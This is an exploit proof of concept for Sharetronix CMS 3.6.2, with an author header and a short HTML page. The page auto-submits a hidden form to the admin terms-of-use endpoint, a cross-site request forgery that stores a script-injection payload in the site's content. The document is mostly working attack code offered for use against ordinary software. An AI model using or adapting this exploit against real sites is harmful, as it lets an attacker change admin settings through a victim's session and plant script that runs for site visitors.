17 lines
No EOL
598 B
HTML
17 lines
No EOL
598 B
HTML
# Exploit Title: Sharetronix CMS XSRF Vulnerability
|
|
# Version : 3.6.2
|
|
# Exploit Author: Hesam Bazvand
|
|
# Software Link: http://sharetronix.ir/wp-content/uploads/2014/10/gold.zip
|
|
# Tested on: Windows 10 / Kali Linux
|
|
# Category: WebApps
|
|
# Dork : Use You Mind :D
|
|
# Email : Black.king066@gmail.com
|
|
# Video : https://youtu.be/S1r0tmXEUec
|
|
|
|
|
|
<body onload="document.fm.submit()">
|
|
<form method="post" name="fm" action="http://localhost/share/admin/termsofuse">
|
|
<input type="hidden" name="tos_enabled" value="1" />
|
|
<input type="hidden" name="tos_content"value="<script>alert(1);</script>" />
|
|
</form>
|
|
</body> |